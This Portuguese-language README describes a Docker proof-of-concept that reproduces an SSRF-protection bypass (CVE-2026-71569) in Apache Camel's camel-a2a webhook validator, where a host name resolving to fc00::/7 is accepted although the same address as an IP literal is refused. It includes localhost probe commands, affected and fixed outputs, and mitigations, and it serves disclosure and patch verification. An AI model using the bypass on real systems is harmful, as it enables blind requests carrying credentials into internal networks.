
Prova de conceito Docker executável para CVE-2026-71569, um bypass do mecanismo de proteção SSRF na validação de webhook do camel-a2a do Apache Camel, com sondagens e verificação da correção.
Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que WebhookUrlValidator
classificava um host de webhook de notificação push em dois lugares que não concordavam:
fc00::/7 ("fc", "fd");isLoopbackAddress,
isAnyLocalAddress, isLinkLocalAddress e isSiteLocalAddress.Esses predicados não cobrem o mesmo terreno: isSiteLocalAddress reporta o bloco obsoleto fec0::/10,
não os endereços locais exclusivos fc00::/7 que o substituíram, e o JDK não possui nenhum predicado para
eles. O mesmo endereço era, portanto, aceito ou rejeitado dependendo de como era escrito.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-a2a 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
O nome de host precisa resolver para fc00::/7, o que o arquivo compose organiza com uma entrada extra_hosts
(o Docker a grava no /etc/hosts do contêiner na inicialização) — portanto execute isto através do Docker, não com um
java -jar simples:
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until curl -sf http://localhost:8080/exploit/ready >/dev/null; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Saída em um build afetado (idêntica em ambos os runtimes):
Resolution in this environment: internal-service.example -> fd00:0:0:0:0:0:0:1
1) The unique local address as an IP LITERAL
url: https://[fd00::1]/push-notification
verdict: REFUSED - Webhook URL must not point to private/internal IPv6 ranges (SSRF protection): [fd00::1]
2) The SAME address reached through a host name
url: https://internal-service.example/push-notification
verdict: ACCEPTED, resolved to fd00:0:0:0:0:0:0:1
3) A legitimate host name that merely BEGINS with "fc" (the bug's other direction)
url: https://fcm.googleapis.com/push-notification
verdict: REFUSED - Webhook URL must not point to private/internal IPv6 ranges (SSRF protection): fcm.googleapis.com
4) CONTROL - an IPv4 private address, which isSiteLocalAddress does cover
verdict: REFUSED - ... site-local/private address ...
5) CONTROL - a link-local IPv6 literal
verdict: REFUSED - ... private/internal IPv6 ranges ...
>>> PROVEN: ...
As sondas 1 e 2 são o mesmo endereço, e os veredictos divergem. A sonda 3 é a mesma inconsistência na
direção oposta: a pré-verificação da string correspondia ao host bruto sem primeiro estabelecer que era um
literal de IP, então qualquer nome que apenas começasse com fc ou fd era recusado de imediato — fcm.googleapis.com, um
endpoint de push perfeitamente comum, entre eles. As sondas 4 e 5 são controles que mostram a proteção a funcionar onde
foi escrita corretamente.
Todas as sondas passam allowLocal=false, que é o padrão (allowLocalWebhookUrls=false) e a
configuração na qual se espera que a proteção se mantenha.
O URL do webhook chega como TaskPushNotificationConfig.url do chamador que regista a notificação
push, pelo que é controlado pelo atacante. O PushNotificationDispatcher envia então a notificação
push para esse endereço, juntamente com qualquer cabeçalho Authorization transportado na mesma configuração —
cujo esquema e credenciais são fornecidos pelo chamador que regista.
A resposta não é reencaminhada de volta para esse chamador, pelo que o que isto produz é um pedido HTTPS
de saída cego do processo Camel para um endereço interno que a proteção foi escrita para recusar. Alcançar um serviço
dessa forma requer adicionalmente que o nome resolva para fc00::/7 no ambiente alvo, que um
serviço HTTPS esteja à escuta nesse endereço, e que o handshake TLS seja bem-sucedido para o nome que está a ser
pedido — razão pela qual a severidade é avaliada como média.
| Propriedade | Valor |
|---|---|
| Componente | camel-a2a (WebhookUrlValidator) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Severidade | Média |
| Vetor de ataque | Um URL de webhook de notificação push cujo nome de host resolve para fc00::/7 |
| Impacto | Um pedido HTTPS de saída cego, com o cabeçalho Authorization configurado, para um endereço interno que a proteção deveria ter recusado |
| Versões Afetadas | Desde 4.21.0 antes de 4.22.2 |
| Versões Corrigidas | 4.22.2, 4.23.0 |
| JIRA | CAMEL-24371 |
| Crédito | 2122295973 at qq dot com, reportado através da ASF Security Team |
Advisory: https://camel.apache.org/security/CVE-2026-71569.html
Ambos os caminhos passam agora por InetAddress.getByName, que analisa um literal IPv6 entre parênteses retos sem tocar
no DNS, e classificam o endereço resultante a partir dos seus bytes brutos com um classificador partilhado — pelo que um host é
avaliado pelo endereço que denota e não pela forma como foi escrito. Esse classificador reconhece fc00::/7
e o espaço de endereços partilhado 100.64.0.0/10, bem como endereços compatíveis com IPv4, NAT64 (64:ff9b::/96) e 6to4
(2002::/16) cujo endereço IPv4 incorporado não é encaminhável globalmente.
Corrigido em main em apache/camel#25406 (54041cce), com backport
para camel-4.22.x em #26583 (c4a5c5fc).
Defina camel.version para 4.22.2 e execute novamente. Verificado contra 4.22.1 → 4.22.2:
1) The unique local address as an IP LITERAL
verdict: REFUSED - Webhook URL must not point to a unique local address (SSRF protection): [fd00::1]
2) The SAME address reached through a host name
verdict: REFUSED - Webhook URL must not point to a unique local address (SSRF protection): internal-service.example
3) A legitimate host name that merely BEGINS with "fc"
verdict: ACCEPTED, resolved to 216.239.38.55
Ambas as grafias agora recebem o mesmo veredito, com a mesma mensagem, e o falso positivo na sonda 3 também desapareceu.
Coloque autenticação à frente do caminho de configuração de notificações push do A2A para que a URL do webhook não
chegue de um chamador não confiável, e negue a saída do processo Camel para fc00::/7 no nível de rede.
Onde a implantação não tem necessidade de IPv6, iniciar a JVM com -Djava.net.preferIPv4Stack=true remove
a classe de endereço da qual a lacuna depende. Observe que allowLocalWebhookUrls=false já é o padrão e
não fecha a lacuna por si só — a sonda 2 acima é executada com ele.
Este repositório é publicado para fins educacionais e defensivos: para ajudar usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. Não use este material contra sistemas que você não possui ou opera.